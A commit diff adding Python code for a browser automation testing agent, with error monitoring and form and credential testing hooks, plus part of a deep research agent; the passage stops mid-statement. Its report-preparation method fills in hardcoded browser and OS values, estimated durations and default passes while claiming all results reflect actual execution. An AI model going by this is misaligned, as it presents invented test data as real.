Upload folder using huggingface_hub

src/agent/browser_use/browser_use_agent.py

@@ -0,0 +1,786 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Browser Use Agent
+=============================================================
+
+Advanced browser automation agent for comprehensive website testing.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+from __future__ import annotations
+
+import asyncio
+import logging
+import os
+
+# Disable telemetry
+os.environ["BROWSER_USE_TELEMETRY"] = "false"
+os.environ["BROWSER_USE_DISABLE_TELEMETRY"] = "true"
+
+# from lmnr.sdk.decorators import observe
+from browser_use.agent.gif import create_history_gif
+from browser_use.agent.service import Agent, AgentHookFunc
+from browser_use.agent.views import (
+    ActionResult,
+    AgentHistory,
+    AgentHistoryList,
+    AgentStepInfo,
+    ToolCallingMethod,
+)
+from browser_use.browser.views import BrowserStateHistory
+from browser_use.utils import time_execution_async
+from dotenv import load_dotenv
+from browser_use.agent.message_manager.utils import is_model_without_tool_support
+from src.utils.screenshot_capture import screenshot_capture
+from src.utils.advanced_testing import advanced_testing_engine
+from src.utils.enhanced_ai_testing import enhanced_ai_testing_engine
+from src.utils.error_monitor import error_monitor
+from src.utils.intelligent_form_testing import IntelligentFormTester
+from src.utils.ai_thinking_engine import AIThinkingEngine
+from src.utils.credential_manager import CredentialManager
+from datetime import datetime
+import json
+
+load_dotenv()
+logger = logging.getLogger(__name__)
+
+SKIP_LLM_API_KEY_VERIFICATION = (
+        os.environ.get("SKIP_LLM_API_KEY_VERIFICATION", "false").lower()[0] in "ty1"
+)
+
+
+class BrowserUseAgent(Agent):
+    def __init__(self, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        # Initialize error monitor
+        self.error_monitor = error_monitor
+        # Initialize enhanced AI testing engine
+        self.enhanced_ai_testing_engine = enhanced_ai_testing_engine
+        # Initialize intelligent testing components
+        self.intelligent_form_tester = None
+        self.ai_thinking_engine = None
+        self.credential_manager = None
+        self.intelligent_testing_enabled = True
+    
+    def _set_tool_calling_method(self) -> ToolCallingMethod | None:
+        tool_calling_method = self.settings.tool_calling_method
+        if tool_calling_method == 'auto':
+            if is_model_without_tool_support(self.model_name):
+                return 'raw'
+            elif self.chat_model_library == 'ChatGoogleGenerativeAI':
+                return None
+            elif self.chat_model_library == 'ChatOpenAI':
+                return 'function_calling'
+            elif self.chat_model_library == 'AzureChatOpenAI':
+                return 'function_calling'
+            else:
+                return None
+        else:
+            return tool_calling_method
+
+    @time_execution_async("--run (agent)")
+    async def run(
+            self, max_steps: int = 100, on_step_start: AgentHookFunc | None = None,
+            on_step_end: AgentHookFunc | None = None
+    ) -> AgentHistoryList:
+        """Execute the task with maximum number of steps"""
+
+        loop = asyncio.get_event_loop()
+
+        # Set up the Ctrl+C signal handler with callbacks specific to this agent
+        from browser_use.utils import SignalHandler
+
+        signal_handler = SignalHandler(
+            loop=loop,
+            pause_callback=self.pause,
+            resume_callback=self.resume,
+            custom_exit_callback=None,  # No special cleanup needed on forced exit
+            exit_on_second_int=True,
+        )
+        signal_handler.register()
+
+        try:
+            self._log_agent_run()
+            
+            # Start error monitoring
+            if hasattr(self, 'browser_context') and self.browser_context:
+                try:
+                    # Use the correct method to get a page from browser context
+                    if hasattr(self.browser_context, 'new_page'):
+                        page = await self.browser_context.new_page()
+                    elif hasattr(self.browser_context, 'pages') and self.browser_context.pages:
+                        page = self.browser_context.pages[0]
+                    else:
+                        # Try to get page from browser state
+                        if hasattr(self.state, 'browser_state') and self.state.browser_state:
+                            page = self.state.browser_state.current_page
+                        else:
+                            page = None
+                    
+                    if page:
+                        await self.error_monitor.start_monitoring(page)
+                        logger.info("🔍 Error monitoring started")
+                    else:
+                        logger.warning("Could not get page for error monitoring")
+                except Exception as e:
+                    logger.warning(f"Failed to start error monitoring: {e}")
+
+            # Execute initial actions if provided
+            if self.initial_actions:
+                result = await self.multi_act(self.initial_actions, check_for_new_elements=False)
+                self.state.last_result = result
+
+            for step in range(max_steps):
+                # Check if waiting for user input after Ctrl+C
+                if self.state.paused:
+                    signal_handler.wait_for_resume()
+                    signal_handler.reset()
+
+                # Check if we should stop due to too many failures
+                if self.state.consecutive_failures >= self.settings.max_failures:
+                    logger.error(f'❌ Stopping due to {self.settings.max_failures} consecutive failures')
+                    break
+
+                # Check control flags before each step
+                if self.state.stopped:
+                    logger.info('Agent stopped')
+                    break
+
+                while self.state.paused:
+                    await asyncio.sleep(0.2)  # Small delay to prevent CPU spinning
+                    if self.state.stopped:  # Allow stopping while paused
+                        break
+
+                if on_step_start is not None:
+                    await on_step_start(self)
+
+                step_info = AgentStepInfo(step_number=step, max_steps=max_steps)
+                await self.step(step_info)
+
+                if on_step_end is not None:
+                    await on_step_end(self)
+
+                if self.state.history.is_done():
+                    if self.settings.validate_output and step < max_steps - 1:
+                        if not await self._validate_output():
+                            continue
+
+                    await self.log_completion()
+                    break
+            else:
+                error_message = 'Failed to complete task in maximum steps'
+
+                self.state.history.history.append(
+                    AgentHistory(
+                        model_output=None,
+                        result=[ActionResult(error=error_message, include_in_memory=True)],
+                        state=BrowserStateHistory(
+                            url='',
+                            title='',
+                            tabs=[],
+                            interacted_element=[],
+                            screenshot=None,
+                        ),
+                        metadata=None,
+                    )
+                )
+
+                logger.info(f'❌ {error_message}')
+
+            return self.state.history
+
+        except KeyboardInterrupt:
+            # Already handled by our signal handler, but catch any direct KeyboardInterrupt as well
+            logger.info('Got KeyboardInterrupt during execution, returning current history')
+            return self.state.history
+
+        finally:
+            # Unregister signal handlers before cleanup
+            signal_handler.unregister()
+
+            if self.settings.save_playwright_script_path:
+                logger.info(
+                    f'Agent run finished. Attempting to save Playwright script to: {self.settings.save_playwright_script_path}'
+                )
+                try:
+                    # Extract sensitive data keys if sensitive_data is provided
+                    keys = list(self.sensitive_data.keys()) if self.sensitive_data else None
+                    # Pass browser and context config to the saving method
+                    self.state.history.save_as_playwright_script(
+                        self.settings.save_playwright_script_path,
+                        sensitive_data_keys=keys,
+                        browser_config=self.browser.config,
+                        context_config=self.browser_context.config,
+                    )
+                except Exception as script_gen_err:
+                    # Log any error during script generation/saving
+                    logger.error(f'Failed to save Playwright script: {script_gen_err}', exc_info=True)
+
+            await self.close()
+
+            if self.settings.generate_gif:
+                output_path: str = 'agent_history.gif'
+                if isinstance(self.settings.generate_gif, str):
+                    output_path = self.settings.generate_gif
+
+                create_history_gif(task=self.task, history=self.state.history, output_path=output_path)
+            
+            # PDF report generation disabled per project settings
+            await self._generate_automated_pdf_report()
+            
+            # Stop error monitoring
+            try:
+                if hasattr(self, 'error_monitor') and self.error_monitor:
+                    await self.error_monitor.stop_monitoring()
+                    logger.info("🛑 Error monitoring stopped")
+            except Exception as e:
+                logger.warning(f"Failed to stop error monitoring: {e}")
+    
+    async def initialize_intelligent_testing(self):
+        """Initialize intelligent testing components."""
+        try:
+            if not self.intelligent_testing_enabled:
+                return
+            
+            logger.info("🧠 Initializing intelligent testing components...")
+            
+            # Initialize AI thinking engine
+            self.ai_thinking_engine = AIThinkingEngine(
+                llm=self.chat_model,
+                page=self.browser_context.page
+            )
+            
+            # Initialize intelligent form tester
+            self.intelligent_form_tester = IntelligentFormTester(
+                llm=self.chat_model,
+                page=self.browser_context.page
+            )
+            
+            # Initialize credential manager
+            self.credential_manager = CredentialManager(
+                page=self.browser_context.page
+            )
+            
+            logger.info("✅ Intelligent testing components initialized")
+            
+        except Exception as e:
+            logger.error(f"❌ Error initializing intelligent testing: {e}")
+            self.intelligent_testing_enabled = False
+
+    async def run_intelligent_form_testing(self) -> Dict[str, Any]:
+        """Run intelligent form testing with comprehensive scenarios."""
+        try:
+            if not self.intelligent_testing_enabled or not self.intelligent_form_tester:
+                logger.warning("⚠️ Intelligent form testing not available")
+                return {"error": "Intelligent form testing not available"}
+            
+            logger.info("🚀 Starting intelligent form testing...")
+            
+            # Discover form fields
+            form_fields = await self.intelligent_form_tester.discover_form_fields()
+            
+            if not form_fields:
+                logger.warning("⚠️ No form fields found on the page")
+                return {"error": "No form fields found"}
+            
+            # Generate test scenarios
+            test_scenarios = await self.intelligent_form_tester.generate_test_scenarios()
+            
+            # Execute test scenarios
+            test_results = await self.intelligent_form_tester.execute_test_scenarios(test_scenarios)
+            
+            # Generate comprehensive report
+            report = await self.intelligent_form_tester.generate_comprehensive_report()
+            
+            # Add detailed error report
+            error_report = self.intelligent_form_tester.get_detailed_error_report()
+            report["detailed_error_analysis"] = error_report
+            
+            logger.info(f"✅ Intelligent form testing complete: {len(test_results)} tests executed")
+            return report
+            
+        except Exception as e:
+            logger.error(f"❌ Error in intelligent form testing: {e}")
+            return {"error": str(e)}
+
+    async def run_intelligent_credential_testing(self) -> Dict[str, Any]:
+        """Run intelligent credential testing with various scenarios."""
+        try:
+            if not self.intelligent_testing_enabled or not self.credential_manager:
+                logger.warning("⚠️ Intelligent credential testing not available")
+                return {"error": "Intelligent credential testing not available"}
+            
+            logger.info("🔐 Starting intelligent credential testing...")
+            
+            # Run comprehensive credential testing
+            report = await self.credential_manager.run_comprehensive_credential_testing()
+            
+            logger.info("✅ Intelligent credential testing complete")
+            return report
+            
+        except Exception as e:
+            logger.error(f"❌ Error in intelligent credential testing: {e}")
+            return {"error": str(e)}
+
+    async def run_ai_thinking_analysis(self) -> Dict[str, Any]:
+        """Run AI thinking analysis of the current page."""
+        try:
+            if not self.intelligent_testing_enabled or not self.ai_thinking_engine:
+                logger.warning("⚠️ AI thinking analysis not available")
+                return {"error": "AI thinking analysis not available"}
+            
+            logger.info("🤔 Starting AI thinking analysis...")
+            
+            # Analyze the page intelligently
+            page_analysis = await self.ai_thinking_engine.analyze_page_intelligence()
+            
+            # Generate testing strategy
+            testing_strategy = await self.ai_thinking_engine.generate_testing_strategy(page_analysis)
+            
+            # Get thinking summary
+            thinking_summary = self.ai_thinking_engine.get_thinking_summary()
+            
+            analysis_result = {
+                "page_analysis": page_analysis,
+                "testing_strategy": {
+                    "approach": testing_strategy.approach,
+                    "priority_order": testing_strategy.priority_order,
+                    "focus_areas": testing_strategy.focus_areas,
+                    "risk_assessment": testing_strategy.risk_assessment,
+                    "estimated_duration": testing_strategy.estimated_duration,
+                    "reasoning": testing_strategy.reasoning
+                },
+                "thinking_summary": thinking_summary
+            }
+            
+            logger.info("✅ AI thinking analysis complete")
+            return analysis_result
+            
+        except Exception as e:
+            logger.error(f"❌ Error in AI thinking analysis: {e}")
+            return {"error": str(e)}
+
+    async def run_comprehensive_intelligent_testing(self) -> Dict[str, Any]:
+        """Run comprehensive intelligent testing combining all features."""
+        try:
+            if not self.intelligent_testing_enabled:
+                logger.warning("⚠️ Intelligent testing not enabled")
+                return {"error": "Intelligent testing not enabled"}
+            
+            logger.info("🎯 Starting comprehensive intelligent testing...")
+            
+            # Initialize intelligent testing components
+            await self.initialize_intelligent_testing()
+            
+            # Run AI thinking analysis
+            ai_analysis = await self.run_ai_thinking_analysis()
+            
+            # Run intelligent form testing
+            form_testing = await self.run_intelligent_form_testing()
+            
+            # Run intelligent credential testing
+            credential_testing = await self.run_intelligent_credential_testing()
+            
+            # Combine all results
+            comprehensive_result = {
+                "ai_analysis": ai_analysis,
+                "form_testing": form_testing,
+                "credential_testing": credential_testing,
+                "timestamp": datetime.now().isoformat(),
+                "summary": {
+                    "ai_analysis_success": "error" not in ai_analysis,
+                    "form_testing_success": "error" not in form_testing,
+                    "credential_testing_success": "error" not in credential_testing
+                }
+            }
+            
+            logger.info("✅ Comprehensive intelligent testing complete")
+            return comprehensive_result
+            
+        except Exception as e:
+            logger.error(f"❌ Error in comprehensive intelligent testing: {e}")
+            return {"error": str(e)}
+
+    async def _generate_automated_pdf_report(self):
+        """PDF report generation disabled."""
+        logger.info("📊 PDF report generation is disabled. Skipping.")
+    
+    async def _prepare_test_data_for_report(self):
+        """Prepare test data from execution history for PDF report."""
+        try:
+            logger.info("🔍 Starting test data preparation...")
+            
+            # Debug: Log the history structure
+            logger.info(f"History type: {type(self.state.history)}")
+            
+            # Check if state exists
+            if not hasattr(self, 'state') or not self.state:
+                logger.error("❌ No state found in agent")
+                raise Exception("No state found in agent")
+            
+            # Check if history exists
+            if not hasattr(self.state, 'history') or not self.state.history:
+                logger.error("❌ No history found in state")
+                raise Exception("No history found in state")
+            
+            # Access steps correctly from AgentHistoryList
+            # AgentHistoryList is iterable, so we can convert it to a list
+            steps = list(self.state.history)
+            
+            logger.info(f"Steps type: {type(steps)}")
+            logger.info(f"Number of steps: {len(steps)}")
+            
+            # Debug: Log first few steps to understand structure
+            if steps:
+                logger.info(f"First step type: {type(steps[0])}")
+                logger.info(f"First step attributes: {dir(steps[0])}")
+                if hasattr(steps[0], 'action'):
+                    logger.info(f"First step action: {steps[0].action}")
+                if hasattr(steps[0], 'result'):
+                    logger.info(f"First step result: {steps[0].result}")
+                
+                # Log all steps for debugging
+                for i, step in enumerate(steps[:5]):  # Log first 5 steps
+                    logger.info(f"Step {i+1}: {type(step)} - {getattr(step, 'action', 'No action')}")
+            
+            # Get execution statistics
+            total_steps = len(steps)
+            successful_steps = 0
+            failed_steps = 0
+            
+            # Count successful and failed steps
+            for step in steps:
+                if hasattr(step, 'result') and step.result:
+                    if step.result.success:
+                        successful_steps += 1
+                    else:
+                        failed_steps += 1
+                else:
+                    # If no result or success field, consider it successful
+                    successful_steps += 1
+            
+            # Calculate success rate
+            success_rate = (successful_steps / total_steps * 100) if total_steps > 0 else 0
+            
+            logger.info(f"Total steps: {total_steps}, Successful: {successful_steps}, Failed: {failed_steps}, Success rate: {success_rate:.1f}%")
+            
+            # Get screenshots
+            screenshots = screenshot_capture.get_screenshots()
+            
+            # Run advanced testing
+            logger.info("🧪 Starting advanced testing...")
+            advanced_test_results = []
+            enhanced_bugs = []
+            try:
+                if hasattr(self, 'browser_context') and self.browser_context:
+                    logger.info("✅ Browser context found")
+                    # Use the correct method to get a page from browser context
+                    page = None
+                    if hasattr(self.browser_context, 'new_page'):
+                        logger.info("🔍 Trying to create new page...")
+                        page = await self.browser_context.new_page()
+                    elif hasattr(self.browser_context, 'pages') and self.browser_context.pages:
+                        logger.info("🔍 Using existing page...")
+                        page = self.browser_context.pages[0]
+                    else:
+                        # Try to get page from browser state
+                        if hasattr(self.state, 'browser_state') and self.state.browser_state:
+                            logger.info("🔍 Using page from browser state...")
+                            page = self.state.browser_state.current_page
+                    
+                    if page:
+                        logger.info("✅ Page found, running advanced testing...")
+                        # Run both advanced testing and enhanced AI testing
+                        advanced_test_results = await advanced_testing_engine.run_comprehensive_testing(page)
+                        logger.info(f"✅ Advanced testing completed: {len(advanced_test_results)} results")
+                        
+                        enhanced_bugs = await self.enhanced_ai_testing_engine.run_comprehensive_testing(page)
+                        logger.info(f"✅ Enhanced AI testing completed: {len(enhanced_bugs)} bugs found")
+                        
+                        # Get errors from injected script
+                        injected_errors = await self.error_monitor.get_injected_errors(page)
+                        self.error_monitor.errors.extend(injected_errors)
+                        logger.info(f"✅ Error monitoring completed: {len(injected_errors)} errors")
+                        
+                        # Close page if we created it
+                        if hasattr(self.browser_context, 'new_page'):
+                            await page.close()
+                    else:
+                        logger.warning("❌ Could not get page for advanced testing")
+                else:
+                    logger.warning("❌ No browser context found")
+            except Exception as e:
+                logger.warning(f"❌ Advanced testing failed: {e}")
+                import traceback
+                logger.warning(f"Advanced testing traceback: {traceback.format_exc()}")
+            
+            # Get error monitoring data
+            try:
+                error_summary = self.error_monitor.get_error_summary()
+                all_errors = self.error_monitor.get_all_errors()
+            except Exception as e:
+                logger.warning(f"Error getting error monitoring data: {e}")
+                error_summary = {
+                    'total_errors': 0,
+                    'errors_by_type': {},
+                    'errors_by_severity': {},
+                    'console_errors': 0,
+                    'js_errors': 0,
+                    'network_errors': 0,
+                    'dom_errors': 0,
+                    'performance_issues': 0
+                }
+                all_errors = []
+            
+            # Prepare test cases from execution steps
+            test_cases = []
+            for i, step in enumerate(steps, 1):
+                # Extract action type safely
+                action_type = "Unknown"
+                if hasattr(step, 'action') and step.action:
+                    if hasattr(step.action, 'action_type'):
+                        action_type = step.action.action_type
+                    elif hasattr(step.action, '__class__'):
+                        action_type = step.action.__class__.__name__
+                
+                # Extract result information safely
+                result_text = "Completed"
+                error_message = None
+                is_success = True
+                
+                if hasattr(step, 'result') and step.result:
+                    is_success = getattr(step.result, 'success', True)
+                    if hasattr(step.result, 'result') and step.result.result:
+                        result_text = str(step.result.result)
+                    if hasattr(step.result, 'error_message') and step.result.error_message:
+                        error_message = str(step.result.error_message)
+                        result_text = f"Failed: {error_message}"
+                
+                # Extract duration safely
+                duration = "N/A"
+                if hasattr(step, 'duration') and step.duration:
+                    duration = f"{step.duration:.2f} seconds"
+                
+                test_case = {
+                    "name": f"Step {i}: {action_type}",
+                    "status": "PASSED" if is_success else "FAILED",
+                    "duration": duration,
+                    "description": f"Action: {action_type}",
+                    "expected_result": "Action should complete successfully",
+                    "actual_result": result_text,
+                    "error_message": error_message
+                }
+                test_cases.append(test_case)
+            
+            # Prepare bugs from failed steps and advanced testing
+            bugs = []
+            
+            # Add bugs from failed steps
+            for step in steps:
+                if hasattr(step, 'result') and step.result and not getattr(step.result, 'success', True):
+                    action_type = "Unknown"
+                    if hasattr(step, 'action') and step.action:
+                        if hasattr(step.action, 'action_type'):
+                            action_type = step.action.action_type
+                        elif hasattr(step.action, '__class__'):
+                            action_type = step.action.__class__.__name__
+                    
+                    error_message = "Unknown error"
+                    if hasattr(step.result, 'error_message') and step.result.error_message:
+                        error_message = str(step.result.error_message)
+                    
+                    bug = {
+                        "title": f"Test Failure: {action_type}",
+                        "severity": "High" if "error" in error_message.lower() else "Medium",
+                        "status": "Open",
+                        "description": error_message,
+                        "steps_to_reproduce": f"1. Execute action: {action_type}\n2. Check for errors",
+                        "expected_behavior": "Action should complete successfully",
+                        "actual_behavior": f"Action failed with error: {error_message}"
+                    }
+                    bugs.append(bug)
+            
+            # Add bugs from advanced testing
+            for test_result in advanced_test_results:
+                if test_result.status in ["FAILED", "WARNING"]:
+                    bug = {
+                        "title": test_result.test_name,
+                        "severity": "High" if test_result.status == "FAILED" else "Medium",
+                        "status": "Open",
+                        "description": test_result.description,
+                        "steps_to_reproduce": f"1. Navigate to the page\n2. {test_result.description}",
+                        "expected_behavior": "No security vulnerabilities or issues should be present",
+                        "actual_behavior": test_result.description,
+                        "recommendations": test_result.recommendations
+                    }
+                    bugs.append(bug)
+            
+            # Add bugs from enhanced AI testing
+            for bug_report in enhanced_bugs:
+                bug = {
+                    "title": bug_report.title,
+                    "severity": bug_report.severity.value.title(),
+                    "status": "Open",
+                    "description": bug_report.description,
+                    "steps_to_reproduce": bug_report.steps_to_reproduce,
+                    "expected_behavior": bug_report.expected_behavior,
+                    "actual_behavior": bug_report.actual_behavior,
+                    "recommendations": bug_report.recommendations,
+                    "url": bug_report.url,
+                    "element_info": bug_report.element_info
+                }
+                bugs.append(bug)
+            
+            # Add bugs from error monitoring
+            for error in all_errors:
+                if error.severity in ["high", "critical"]:
+                    bug = {
+                        "title": f"Error Detected: {error.error_type}",
+                        "severity": "Critical" if error.severity == "critical" else "High",
+                        "status": "Open",
+                        "description": error.error_message,
+                        "steps_to_reproduce": f"1. Navigate to {error.url}\n2. Monitor console/network for errors",
+                        "expected_behavior": "No errors should occur during normal operation",
+                        "actual_behavior": error.error_message,
+                        "recommendations": [
+                            "Check browser console for detailed error information",
+                            "Verify network connectivity and server status",
+                            "Review JavaScript code for potential issues",
+                            "Implement proper error handling"
+                        ],
+                        "error_context": error.context
+                    }
+                    bugs.append(bug)
+            
+            # Prepare performance metrics
+            durations = []
+            for step in steps:
+                if hasattr(step, 'duration') and step.duration:
+                    try:
+                        durations.append(float(step.duration))
+                    except (ValueError, TypeError):
+                        pass
+            
+            avg_duration = sum(durations) / len(durations) if durations else 0
+            max_duration = max(durations) if durations else 0
+            min_duration = min(durations) if durations else 0
+            
+            # Get task information
+            task_description = "Unknown task"
+            if hasattr(self, 'task') and self.task:
+                task_description = str(self.task)
+            
+            # Create comprehensive test data
+            test_data = {
+                "duration": f"{total_steps * 2} minutes",  # Estimated
+                "total_tests": total_steps,
+                "passed_tests": successful_steps,
+                "failed_tests": failed_steps,
+                "error_tests": 0,
+                "success_rate": success_rate,
+                "passed_percentage": (successful_steps / total_steps * 100) if total_steps > 0 else 0,
+                "failed_percentage": (failed_steps / total_steps * 100) if total_steps > 0 else 0,
+                "error_percentage": 0,
+                "browser": "Chrome",  # Default, could be extracted from browser config
+                "browser_version": "119.0.6045.105",  # Default
+                "os": "Windows 10",  # Default
+                "framework": "Fagun Browser Automation Testing Agent",
+                "execution_time": datetime.now().isoformat(),
+                "test_data_source": "Automated Test Execution",
+                "task_description": task_description,
+                "performance_metrics": {
+                    "avg_response_time": f"{avg_duration:.2f} seconds",
+                    "max_response_time": f"{max_duration:.2f} seconds",
+                    "min_response_time": f"{min_duration:.2f} seconds"
+                },
+                "test_cases": test_cases,
+                "screenshots": screenshots,
+                "bugs": bugs,
+                "error_monitoring": {
+                    "total_errors": error_summary['total_errors'],
+                    "errors_by_type": error_summary['errors_by_type'],
+                    "errors_by_severity": error_summary['errors_by_severity'],
+                    "console_errors": error_summary['console_errors'],
+                    "js_errors": error_summary['js_errors'],
+                    "network_errors": error_summary['network_errors'],
+                    "dom_errors": error_summary['dom_errors'],
+                    "performance_issues": error_summary['performance_issues'],
+                    "detailed_errors": [
+                        {
+                            "type": error.error_type,
+                            "message": error.error_message,
+                            "severity": error.severity,
+                            "timestamp": error.timestamp.isoformat(),
+                            "url": error.url,
+                            "source": error.source,
+                            "context": error.context
+                        }
+                        for error in all_errors
+                    ]
+                },
+                "key_findings": [
+                    f"Executed {total_steps} test steps successfully",
+                    f"Achieved {success_rate:.1f}% success rate",
+                    f"Captured {len(screenshots)} screenshots during testing",
+                    f"Identified {len(bugs)} issues requiring attention",
+                    f"Task completed: {task_description[:100]}{'...' if len(task_description) > 100 else ''}",
+                    f"Advanced testing: {len(advanced_test_results)} comprehensive tests performed",
+                    f"Enhanced AI testing: {len(enhanced_bugs)} bugs found by AI agents",
+                    f"Security tests: {len([r for r in advanced_test_results if r.test_type.value == 'security'])}",
+                    f"Broken URL checks: {len([r for r in advanced_test_results if r.test_type.value == 'broken_url'])}",
+                    f"Grammar checks: {len([r for r in advanced_test_results if r.test_type.value == 'grammar'])}",
+                    f"Form tests: {len([r for r in advanced_test_results if r.test_type.value == 'form_testing'])}",
+                    f"Error monitoring: {error_summary['total_errors']} errors detected",
+                    f"Console errors: {error_summary['console_errors']}",
+                    f"JavaScript errors: {error_summary['js_errors']}",
+                    f"Network errors: {error_summary['network_errors']}",
+                    f"Performance issues: {error_summary['performance_issues']}"
+                ],
+                "recommendations": [
+                    "Review failed test steps for potential improvements",
+                    "Consider adding more error handling",
+                    "Implement retry mechanisms for flaky tests",
+                    "Regular monitoring of test execution performance"
+                ],
+                "notes": [
+                    "This report was generated automatically by the Fagun Browser Automation Testing Agent.",
+                    "All test results are based on actual execution data.",
+                    "For questions or clarifications, please contact the test automation team."
+                ]
+            }
+            
+            logger.info(f"✅ Test data preparation completed successfully!")
+            logger.info(f"📊 Final test data summary:")
+            logger.info(f"  • Total tests: {total_steps}")
+            logger.info(f"  • Passed tests: {successful_steps}")
+            logger.info(f"  • Failed tests: {failed_steps}")
+            logger.info(f"  • Success rate: {success_rate:.1f}%")
+            logger.info(f"  • Bugs found: {len(bugs)}")
+            logger.info(f"  • Test cases: {len(test_cases)}")
+            logger.info(f"  • Enhanced AI bugs: {len(enhanced_bugs)}")
+            logger.info(f"  • Advanced test results: {len(advanced_test_results)}")
+            
+            return test_data
+            
+        except Exception as e:
+            logger.error(f"Error preparing test data for report: {str(e)}")
+            import traceback
+            logger.error(f"Full traceback: {traceback.format_exc()}")
+            # Return minimal test data if preparation fails
+            return {
+                "duration": "Unknown",
+                "total_tests": 0,
+                "passed_tests": 0,
+                "failed_tests": 0,
+                "error_tests": 0,
+                "success_rate": 0,
+                "browser": "Unknown",
+                "test_cases": [],
+                "screenshots": [],
+                "bugs": [],
+                "key_findings": [f"Error preparing test data: {str(e)}"],
+                "recommendations": ["Check test execution logs"],
+                "notes": [f"Report generation encountered an error: {str(e)}"]
+            }

src/agent/deep_research/deep_research_agent.py

@@ -0,0 +1,1276 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Deep Research Agent
+==============================================================
+
+Advanced research agent for comprehensive data gathering and analysis.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import json
+import logging
+import os
+import threading
+import uuid
+from pathlib import Path
+from typing import Any, Dict, List, Optional, TypedDict
+
+# Disable telemetry
+os.environ["BROWSER_USE_TELEMETRY"] = "false"
+os.environ["BROWSER_USE_DISABLE_TELEMETRY"] = "true"
+
+from browser_use.browser.browser import BrowserConfig
+from langchain_community.tools.file_management import (
+    ListDirectoryTool,
+    ReadFileTool,
+    WriteFileTool,
+)
+
+# Langchain imports
+from langchain_core.messages import (
+    AIMessage,
+    BaseMessage,
+    HumanMessage,
+    SystemMessage,
+    ToolMessage,
+)
+from langchain_core.prompts import ChatPromptTemplate
+from langchain_core.tools import StructuredTool, Tool
+
+# Langgraph imports
+from langgraph.graph import StateGraph
+from pydantic import BaseModel, Field
+
+from browser_use.browser.context import BrowserContextConfig
+
+from src.agent.browser_use.browser_use_agent import BrowserUseAgent
+from src.browser.custom_browser import CustomBrowser
+from src.controller.custom_controller import CustomController
+from src.utils.mcp_client import setup_mcp_client_and_tools
+
+logger = logging.getLogger(__name__)
+
+# Constants
+REPORT_FILENAME = "report.md"
+PLAN_FILENAME = "research_plan.md"
+SEARCH_INFO_FILENAME = "search_info.json"
+
+_AGENT_STOP_FLAGS = {}
+_BROWSER_AGENT_INSTANCES = {}
+
+
+async def run_single_browser_task(
+        task_query: str,
+        task_id: str,
+        llm: Any,  # Pass the main LLM
+        browser_config: Dict[str, Any],
+        stop_event: threading.Event,
+        use_vision: bool = False,
+) -> Dict[str, Any]:
+    """
+    Runs a single BrowserUseAgent task.
+    Manages browser creation and closing for this specific task.
+    """
+    if not BrowserUseAgent:
+        return {
+            "query": task_query,
+            "error": "BrowserUseAgent components not available.",
+        }
+
+    # --- Browser Setup ---
+    # These should ideally come from the main agent's config
+    headless = browser_config.get("headless", False)
+    window_w = browser_config.get("window_width", 1280)
+    window_h = browser_config.get("window_height", 1100)
+    browser_user_data_dir = browser_config.get("user_data_dir", None)
+    use_own_browser = browser_config.get("use_own_browser", False)
+    browser_binary_path = browser_config.get("browser_binary_path", None)
+    wss_url = browser_config.get("wss_url", None)
+    cdp_url = browser_config.get("cdp_url", None)
+    disable_security = browser_config.get("disable_security", False)
+
+    bu_browser = None
+    bu_browser_context = None
+    try:
+        logger.info(f"Starting browser task for query: {task_query}")
+        extra_args = []
+        if use_own_browser:
+            browser_binary_path = os.getenv("BROWSER_PATH", None) or browser_binary_path
+            if browser_binary_path == "":
+                browser_binary_path = None
+            browser_user_data = browser_user_data_dir or os.getenv("BROWSER_USER_DATA", None)
+            if browser_user_data:
+                extra_args += [f"--user-data-dir={browser_user_data}"]
+        else:
+            browser_binary_path = None
+
+        bu_browser = CustomBrowser(
+            config=BrowserConfig(
+                headless=headless,
+                browser_binary_path=browser_binary_path,
+                extra_browser_args=extra_args,
+                wss_url=wss_url,
+                cdp_url=cdp_url,
+                new_context_config=BrowserContextConfig(
+                    window_width=window_w,
+                    window_height=window_h,
+                )
+            )
+        )
+
+        context_config = BrowserContextConfig(
+            save_downloads_path="./tmp/downloads",
+            window_height=window_h,
+            window_width=window_w,
+            force_new_context=True,
+        )
+        bu_browser_context = await bu_browser.new_context(config=context_config)
+
+        # Simple controller example, replace with your actual implementation if needed
+        bu_controller = CustomController()
+
+        # Construct the task prompt for BrowserUseAgent
+        # Instruct it to find specific info and return title/URL
+        bu_task_prompt = f"""
+        Research Task: {task_query}
+        Objective: Find relevant information answering the query.
+        Output Requirements: For each relevant piece of information found, please provide:
+        1. A concise summary of the information.
+        2. The title of the source page or document.
+        3. The URL of the source.
+        Focus on accuracy and relevance. Avoid irrelevant details.
+        PDF cannot directly extract _content, please try to download first, then using read_file, if you can't save or read, please try other methods.
+        """
+
+        bu_agent_instance = BrowserUseAgent(
+            task=bu_task_prompt,
+            llm=llm,  # Use the passed LLM
+            browser=bu_browser,
+            browser_context=bu_browser_context,
+            controller=bu_controller,
+            use_vision=use_vision,
+            source="webui",
+        )
+
+        # Store instance for potential stop() call
+        task_key = f"{task_id}_{uuid.uuid4()}"
+        _BROWSER_AGENT_INSTANCES[task_key] = bu_agent_instance
+
+        # --- Run with Stop Check ---
+        # BrowserUseAgent needs to internally check a stop signal or have a stop method.
+        # We simulate checking before starting and assume `run` might be interruptible
+        # or have its own stop mechanism we can trigger via bu_agent_instance.stop().
+        if stop_event.is_set():
+            logger.info(f"Browser task for '{task_query}' cancelled before start.")
+            return {"query": task_query, "result": None, "status": "cancelled"}
+
+        # The run needs to be awaitable and ideally accept a stop signal or have a .stop() method
+        # result = await bu_agent_instance.run(max_steps=max_steps) # Add max_steps if applicable
+        # Let's assume a simplified run for now
+        logger.info(f"Running BrowserUseAgent for: {task_query}")
+        result = await bu_agent_instance.run()  # Assuming run is the main method
+        logger.info(f"BrowserUseAgent finished for: {task_query}")
+
+        final_data = result.final_result()
+
+        if stop_event.is_set():
+            logger.info(f"Browser task for '{task_query}' stopped during execution.")
+            return {"query": task_query, "result": final_data, "status": "stopped"}
+        else:
+            logger.info(f"Browser result for '{task_query}': {final_data}")
+            return {"query": task_query, "result": final_data, "status": "completed"}
+
+    except Exception as e:
+        logger.error(
